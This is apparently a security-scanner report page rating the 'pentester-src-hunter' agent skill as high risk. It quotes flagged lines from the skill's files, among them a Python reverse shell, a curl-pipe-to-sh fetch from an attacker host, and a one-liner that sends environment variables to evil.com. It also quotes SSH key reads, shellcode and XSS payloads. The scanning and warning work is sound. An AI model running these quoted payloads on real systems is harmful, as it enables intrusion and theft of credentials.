pentester-src-hunter

0 / 100 · High risk

Only if you trust the author. Some of what it can do is expected: a security skill usually runs scanners and checks websites.

By fb0sh/pentester (GitHub) · security · 24 stars · scanned at commit 97a6d9a

Phases 1b/3/4 required playbook adapter — web/SRC corpus via playbook.js --signal. Does not run a separate PTES chain. Skill-gate read at 1b/3/4. Use for playbooks, payload corpus, signal-driven testing, or SRC-style checks.

Works with any agent that supports SKILL.md skills.

Partially scanned — some files couldn't be read; we'll retry on the next scan

What this skill can do

Runs commands on your computer

The author does not mention this. Expected for a security skill.

Found in 197 places.

.agents/skills/pentester-src-hunter/SKILL.md, line 18node .agents/skills/pentester-src-hunter/playbook.js --signal "sqli,idor"
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/code-injection.md, line 1648page.waitForNavigation(/*{ url: 'https://example.com?q=*/require(`child_process`).exec(`touch$IFS/tmp/dee-see`)/*' }*/),
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/code-injection.md, line 1679page.waitForNavigation(/*{ url: 'https://gitlab.com/dee-see?query=*/require(`child_process`).exec(`touch$IFS/tmp/dee-see`)/*' }*/),

Show 17 more

.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/code-injection.md, line 3438git 5667 0.0 0.0 4504 740 ? S 13:14 0:00 sh -c ps auxww
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/code-injection.md, line 4480require('child_process')
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/code-injection.md, line 5070nbw.webContents.executeJavaScript('this.require("child_process").exec("open /Applications/Calculator.app")') // exec command
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/code-injection.md, line 8263DEFAULT_COMMAND = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"rce.ee\",443));os.dup2(s.fileno(),0);
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 470The CVE-2024-27980 was identified as an incomplete fix for the BatBadBut vulnerability. This vulnerability arises from improper handling of batch files with all
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 472This vulnerability affects all users of `child_process.spawn` and `child_process.spawnSync` on Windows in all active release lines.
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 1853const {exec} = require('child_process');
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 1872The function `exec` is the build-in function `child_process.exec()` taking in input the `device` variable build with the unsecure user's input.
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 1904In my opinion, it's better to use [`child_process.execFile`](https://nodejs.org/api/child_process.html#child_process_child_process_execfile_file_args_options_ca
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 2270The `child_process.exec()` function executes the following command:
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 2279const { exec } = require('child_process')
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 2314const exec = require('child_process').exec
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 2318const { spawn } = require('child_process')
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 2383const cp = require('child_process');
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 2433The arguments `options` is used to build the command that is passed to the `child_process.exec` function without any sanitization.
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 2464In my opinion, it's better to use [`child_process.execFile`](https://nodejs.org/api/child_process.html#child_process_child_process_execfile_file_args_options_ca
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 2534const cp9 = require('child_process');

and 177 more places

Sends data to these websites: target$path, target, malicious-server.com, █████, hackyholidays.h1ctf.com, hackyholidays.h1ctf.com$picurl, github.com, f292392.com

The author does not mention this. Expected for a security skill.

Found in 936 places.

.agents/skills/pentester-src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 477curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path
.agents/skills/pentester-src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 483curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path
.agents/skills/pentester-src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 491curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path

Show 17 more

.agents/skills/pentester-src-hunter/references/dictionaries/default-credentials-cn.md, line 246curl -s http://target/ | grep -iE "(seeyon|tongda|weaver|yongyou|kingdee|landray|jeecg|ruoyi|nacos|druid)"
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/allocation-of-resources-without-limits-or-throttling.md, line 81curl -v --http2 https://malicious-server.com
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/allocation-of-resources-without-limits-or-throttling.md, line 257./src/curl -V
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/allocation-of-resources-without-limits-or-throttling.md, line 344valgrind --leak-check=full --show-leak-kinds=all --track-origins=yes --log-file=valgrind_report.txt ./src/curl -v --location --max-redirs 1000 http://127.0.0.1:
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/array-index-underflow.md, line 313curl -H “Cookie: token=../+CSCOU+/csco_logo.gif” https://█████/+CSCOE+/session_password.html
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/blind-sql-injection.md, line 44curl -i -s -k -X $'GET' \
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/blind-sql-injection.md, line 49curl -i -s -k -X $'GET' \
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/buffer-over-read.md, line 110- Terminal 2: ./src/curl -v -k --http2 https://127.0.0.1:8443 (Ensure the libcurl used accepts Push, or modify lib/http2.c to force ENABLE_PUSH=1 for testing).
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/business-logic-errors.md, line 79- Run `curl https://<ATTACKER_HOST>` again (simulating a future visit).
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/business-logic-errors.md, line 1814picurl=$(curl https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album\?hash=\'+UNION+ALL+SELECT+\"-1\'+union+all+select+NULL,NULL,0x${path}--+-\",2,3--+- -s|g
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/business-logic-errors.md, line 1817curl -s "https://hackyholidays.h1ctf.com$picurl" |grep -v 404
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/business-logic-errors.md, line 1879picurl=$(curl https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album\?hash=\'+UNION+ALL+SELECT+\"-1\'+union+all+select+NULL,NULL,0x${path}--+-\",2,3--+- -s|g
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/business-logic-errors.md, line 1882curl -s "https://hackyholidays.h1ctf.com$picurl" | grep -i invalid
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/classic-buffer-overflow.md, line 210curl -i -N -H 'Connection: Upgrade' \
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/classic-buffer-overflow.md, line 1800wget 'https://github.com/squid-cache/squid/archive/SQUID_4_8.tar.gz'
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/cleartext-storage-of-sensitive-information.md, line 1229r = requests.get(pull_url,
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/code-injection.md, line 91curl http://f292392.com/f292392body/ --resolve f292392.com:80:4.178.145.81 -k -vv --data-binary '@./exploit.txt'

and 916 more places

Downloads and installs other software

The author does not mention this.

Found in 72 places.

.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/allocation-of-resources-without-limits-or-throttling.md, line 264sudo apt install git build-essential autoconf automake libtool pkg-config zlib1g-dev libssl-dev libnghttp2-dev libldap2-dev librtmp-dev libssh2-1-dev libpsl-dev
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/asi05-unexpected-code-execution-rce.md, line 59curl mqtt://attacker-host:1883/topic | sh
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/buffer-over-read.md, line 522. Setup Malicious Python Server Save the following script as repro.py. It requires pip install h2. (You also need server.key and server.crt for TLS).

Show 17 more

.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/code-injection.md, line 1575RUN apt-get update && apt-get install -y imagemagick
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/code-injection.md, line 16881. In that directory run `npm init -y; npm install @elastic/synthetics; npx @elastic/synthetics .`
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 50101. Install ascii-art: `sudo npm install -g ascii-art` (On a pristine Google Cloud instance, I also had to install pkg-config, libcairo2-dev, libjpeg-dev and lib
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 5836Note that sanitization of user input on the application side might not prevent this issue, as simple path sanitization that removes stuff `/` and `..` is not en
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/cross-site-scripting-xss-stored.md, line 7777`sudo npm install -g --unsafe-perm node-red`
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/cryptographic-issues-generic.md, line 34As CookieMonster is not yet public, you can also use `Flask-Unsign` (`pip3 install flask-unsign[wordlist]`) to validate this:
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/improper-authentication-generic.md, line 3767npm install -g authmagic-cli
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/improper-input-validation.md, line 262pip install -e .
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/information-exposure-through-directory-listing.md, line 239$ npm install -g glance
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/information-exposure-through-directory-listing.md, line 352$ npm install -g serve
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/os-command-injection.md, line 93`sudo apt-get install -y libnss3-tools openssl`
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/os-command-injection.md, line 2315pip3 install requests
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/privilege-escalation.md, line 6147The install command now will be like this ``apt install -y --no-recommend /opt/src/work.deb``. And it is ``legal``.
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/privilege-escalation.md, line 68123. Run `brew install dnsmasq` - brew will tell the user to run `sudo brew services start dnsmasq`
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/server-side-request-forgery-ssrf.md, line 34TIPSEN:~:% docker exec ssrf_filter_lab_netadmin sh -lc 'apt-get update -qq && apt-get install -y -qq iproute2 && ip -6 addr add 64:ff9b:1::7f00:1/128 dev lo ||
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/sql-injection.md, line 9007npx typeorm init --name Test --database mysql
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/stack-overflow.md, line 563sudo apt-get install gcc git autoconf libtool libpsl-dev

and 52 more places

Contains code that is hidden or hard to read

The author does not mention this.

Found in 9 places.

.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/classic-buffer-overflow.md, line 2817shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x90\x8b\x52\x78\x01\xda\x8b\x72\x20\x90\x01\xde\x31\xc
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/code-injection.md, line 7648require('\x76\x6d')['\x72\x75\x6e\x49\x6e\x54\x68\x69\x73\x43\x6f\x6e\x74\x65\x78\x74'](c)(module.exports, require, req, res, next);
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/cross-site-scripting-xss-generic.md, line 840`'"><img src=x id=█████ onerror=eval(atob(this.id))>`

Show 6 more

.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/deserialization-of-untrusted-data.md, line 147amf_payload = '\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x11\x0a' + \
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/deserialization-of-untrusted-data.md, line 150'\xf9\x6a\x76\x7b\x7c\xde\x68\x4f\x76\xd8\xaa\x3d\x00\x00\x01\x5b\xb0\x4c\x1d\x81\x80\x01\x00';
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/sql-injection.md, line 5566atob("eyJ1c2VyIjpudWxsLCJjb29raWUiOiJZelZtTlRKaVlUTmtPV0ZsWVRZMllqQTFaVFkxTkRCbE5tSTBZbVpqTW1ObVpHWXpNemcxTVdKa1pEY3lNelkwWlRGbFlqZG1ORFkzTkRrek56SXdNR05pWmpOaE
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/1558010.json, line 72"vulnerability_information": "**Summary:**\nHi,\n\nWhile researching PullRequest yesterday, I saw some \"review\" endpoints in web archive of \"app.pullrequest.
.agents/skills/pentester-src-hunter/references/playbooks/xss/00-index.md, line 150eval(atob('YWxlcnQoMSk='))
.agents/skills/pentester-src-hunter/references/playbooks/xss/11-bypass.md, line 297<img src=x onerror="eval(atob('YWxlcnQoMSk='))">

Reads your saved credentials, such as SSH keys or .env files

The author does not mention this.

Found in 18 places.

.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 1514curl -H "Private-Token: $(cat token)" http://10.26.0.5/api/v4/projects/2/packages/maven/a%2fb%2fc%2fd%2fe%2ff%2fg%2fh%2fi%2f1/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/command-injection-generic.md, line 4139$ ssh -i ~/.ssh/id_ed25519 git@10.26.0.3
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/improper-certificate-validation.md, line 306Curl does _not_ fail if the SSH host identity cannot be verified due to the host not being included in the `.ssh/known_hosts` file. This makes using curl to log

Show 15 more

.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/improper-certificate-validation.md, line 316From this it would be easy to assume that omitting `--insecure` would mean that the connection is secure, that is: the connection would fail if the host identit
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/improper-certificate-validation.md, line 3383. Have no entry of targethost in `.ssh/known_hosts`file.
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/insufficiently-protected-credentials.md, line 2391. Create a new branch in the fork, and modify the `.circleci/config.yml` file so environment variables are exfiltrated, e.g. add `- run: curl https://attacker.
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/2961050.json, line 72"vulnerability_information": "## Summary:\nCurl does _not_ fail if the SSH host identity cannot be verified due to the host not being included in the `.ssh/know
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/3120987.json, line 74"vulnerability_information": "## Summary:\nThe -o / --output parameter in cURL does not restrict or sanitize file paths. When passed relative traversal sequence
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/3293177.json, line 72"vulnerability_information": "### Description\n\n#### Summary\n`libcurl` is vulnerable to a path traversal attack when processing SFTP `QUOTE` commands. The int
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/3418646.json, line 72"vulnerability_information": "## Summary:\nThe Arbitrary Configuration File Inclusion (ACFI) vulnerability was identified in the curl utility via the --config <
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/587854.json, line 72"vulnerability_information": "### Summary\n#### Arbitrary file overwrite\nA new feature (download a directory of a repository) in GitLab 11.11 introduced some c
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/640904.json, line 74"vulnerability_information": "# Module\n\n**module name:** yarn\n**version:** 1.16.0\n**npm page:** `https://www.npmjs.com/package/yarn`\n\n## Module Descriptio
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/733072.json, line 72"vulnerability_information": "### Summary\nThis one is similar to #732330 but much simpler.\nA path traversal issue in GitLab package registry API allow an atta
.agents/skills/pentester-src-hunter/references/payloader/by-category/web/供应链攻击.md, line 258python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
.agents/skills/pentester-src-hunter/references/playbooks/llm-prompt-injection/12-agent-vulns.md, line 57with open("/root/.ssh/id_rsa", "r") as f:
.agents/skills/pentester-src-hunter/references/playbooks/path-traversal/00-index.md, line 155/root/.ssh/authorized_keys /root/.ssh/id_rsa
.agents/skills/pentester-src-hunter/references/playbooks/path-traversal/00-index.md, line 264读到 /home/web/.ssh/id_rsa → SSH 私钥（不要使用）
.agents/skills/pentester-src-hunter/references/playbooks/rce/16-supply-chain.md, line 212python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"

Changes files outside its own folder

The author does not mention this.

Found in 35 places.

.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/improper-input-validation.md, line 7121. `cp /etc/ssl/certs/ca-certificates.crt ca.crt`
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/missing-encryption-of-sensitive-data.md, line 1215. Clear yarn cache and node_modules: `rm -rf ~/.cache/yarn/ node_modules`. Let's assume you just downloaded an affected yarn.lock on your clean machine.
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/privilege-escalation.md, line 6003- rm -rf /opt/out/snapshot/log/build.log && ln -s /etc/passwd /opt/out/snapshot/log/build.log

Show 17 more

.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/privilege-escalation.md, line 6128sudo cp /opt/src/run /suidfs/passwd && sudo chown root:root /suidfs/passwd && sudo chmod 04755 /suidfs/passwd && ln -s /suidfs/passwd /usr/bin/setpasswd && setp
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/privilege-escalation.md, line 6861samuels-Mac:~ samuel$ echo "" >> /usr/local/opt/dnsmasq/sbin/dnsmasq
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/privilege-escalation.md, line 6871touch /Library/evil
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/privilege-escalation.md, line 6877samuels-Mac:~ samuel$ mv /usr/local/opt/dnsmasq/sbin/dnsmasq /usr/local/opt/dnsmasq/sbin/dnsmasq.bak
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/privilege-escalation.md, line 6878samuels-Mac:~ samuel$ mv /tmp/evil.sh /usr/local/opt/dnsmasq/sbin/dnsmasq
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/1223565.json, line 74"vulnerability_information": "## Summary:\n`Curl_ssl_config_matches` attempts to compare whether two SSL connections have identical SSL security options or not.
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/1434056.json, line 74"vulnerability_information": "Software Versions\n-------------------\nUbuntu - 18.04 (32-bit)\nApache 2.4.51 (32-bit)\n\nDescription\n-------------\nThis bug is
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/1442118.json, line 72"vulnerability_information": "### Summary\n\nIt is possible to circumvent the isolation in place for build jobs running on public CI runners by escaping the doc
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/213558.json, line 72"vulnerability_information": "As an Admin user on Discourse there is a feature to create, upload, and restore backups. Generating a backup creates a tar file co
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/2864414.json, line 72"vulnerability_information": "## Summary:\nThe curl source code's testing scripts contain instances where the os.unlink() function is used to delete files witho
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/3094406.json, line 72"vulnerability_information": "## Summary:\n A heap‑based buffer overflow in curl’s config‑file parser (`parseconfig()` --> `getparameter()`) allows an attacker
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/310106.json, line 74"vulnerability_information": "Hi Guys,\n\nThere is Path Traversal vulnerability in ```glance``` module. This issue allows to read arbitrary files from the serve
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/310943.json, line 74"vulnerability_information": "Hi Guys,\n\nThere is Path Traversal in general-file-server module.\nIt allows to read content of arbitrary files on the remote ser
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/312889.json, line 74"vulnerability_information": "Hi Guys,\n\nThere is Path Traversal in localhost-now module.\nIt allows to read content of arbitrary files on the remote server.\n
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/312907.json, line 74"vulnerability_information": "Hi Guys,\n\nThere is Path Traversal in mcstatic module.\nIt allows to read content of arbitrary files on the remote server.\n\n##
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/312918.json, line 74"vulnerability_information": "Hi Guys,\n\nThere is Path Traversal in public module.\nIt allows to read content of arbitrary files on the remote server.\n\n## Mo
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/319467.json, line 72"vulnerability_information": "> NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the

and 15 more places

Reads your browser cookies or saved passwords

The author does not mention this.

Found in 3 places.

.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/os-command-injection.md, line 97`PROF="$HOME/.mozilla/firefox/safe.default"`
.agents/skills/pentester-src-hunter/references/h1-reports/by-weakness/weak-password-recovery-mechanism-for-forgotten-password.md, line 60content://com.brave.browser.FileProvider/root/data/data/com.brave.browser/app_chrome/Default/Cookies
.agents/skills/pentester-src-hunter/references/h1-reports/raw/reports/3225565.json, line 72"vulnerability_information": "On AI usage: Only for grammar/formatting suggestions/POC code troubleshooting; all vulnerability discovery, POC code creation, and

Safer alternatives

Low-risk skills in the same category (security) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'pentester-src-hunter' ] || [ -L ~/.agents/skills/'pentester-src-hunter' ]; then echo 'A skill folder named pentester-src-hunter already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/fb0sh/pentester' "$d" && git -C "$d" checkout --quiet '97a6d9a6d574a746c3d53d6150440074035a3b0a' -- '.agents/skills/pentester-src-hunter' && mkdir -p ~/.agents/skills && cp -R "$d"/'.agents/skills/pentester-src-hunter' ~/.agents/skills/'pentester-src-hunter' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'pentester-src-hunter' ~/.claude/skills/'pentester-src-hunter' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for fb0sh/pentester shows the score of its lowest-scoring skill.

SkillTrust badge for fb0sh/pentester

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/fb0sh/pentester.svg)](https://zalavijaysinh.github.io/skilltrust/repos/fb0sh/pentester/)

Score history

Date	Version	Score
2026-11-11	`97a6d9a`	0